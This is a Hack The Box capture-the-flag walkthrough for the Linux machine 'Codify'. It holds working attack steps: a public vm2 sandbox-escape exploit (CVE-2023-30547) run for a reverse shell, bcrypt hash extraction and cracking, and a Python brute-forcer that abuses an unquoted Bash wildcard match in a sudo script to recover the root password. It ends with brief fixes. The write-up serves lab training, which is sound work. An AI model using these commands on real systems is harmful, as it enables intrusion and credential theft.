
Walkthrough for Codify (Linux - Easy). Exploits vm2 RCE (CVE-2023-30547), SQLite DB hash extraction, Bcrypt cracking with John, and Privilege Escalation via Bash wildcard comparison in `mysql-backup.sh`.
Full penetration testing walkthrough and writeup for Codify machine on Hack The Box.
| Field | Value |
|---|---|
| Name | Codify |
| OS | Linux |
| Difficulty | Easy |
| Key Concepts | vm2 RCE (CVE-2023-30547), SQLite DB Enum, Bcrypt Cracking, Bash Wildcard Pattern Matching Abuse |
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
⬇️
[CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
⬇️
[SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
⬇️
[Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]
Fast port scan across all 65,535 TCP ports to discover open services:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
Detailed enumeration on ports 22, 80, 3000:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
The web application running on port 3000 utilizes a vulnerable version of the Node.js vm2 sandbox library.
Clone the public exploit repository:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
Start a local Netcat listener on your attacking machine:
Bash
ncat -lnvp 4444
Execute the exploit targeting the vulnerable web application:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
Verify your initial foothold shell:
Bash
whoami
Navigate to the web directory /var/www/contact and inspect the SQLite database:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Extract Joshua's bcrypt hash:
SQL
SELECT password FROM users WHERE username='joshua';
(Press CTRL + d to exit)
Crack the extracted hash using John the Ripper and rockyou.txt:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Authenticate via SSH using Joshua's cracked credentials:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
Check allowed sudo commands for user joshua:
Bash
sudo -l
Output: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
Inspect /opt/scripts/mysql-backup.sh:
Bash
cat /opt/scripts/mysql-backup.sh
Vulnerability: The script uses an unquoted pattern match in Bash ([[ $USER_PASS == $DB_PASS* ]]). This allows wildcards (*) inside user input to perform a character-by-character brute-force attack against the actual password.
Create bruteforce.py to extract the root password character-by-character:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
Run the script to extract the password:
Bash
python3 bruteforce.py
Switch to the root user context using the extracted password:
Bash
su root
cat /root/root.txt
Patch Node.js Libraries: Deprecate or upgrade vulnerable sandbox libraries such as vm2 (CVE-2023-30547).
Secure Bash Scripting: Always quote variables in string comparison operations ([[ "$USER_PASS" == "$DB_PASS" ]]) to prevent unintentional pattern matching and wildcard injection in privileged scripts.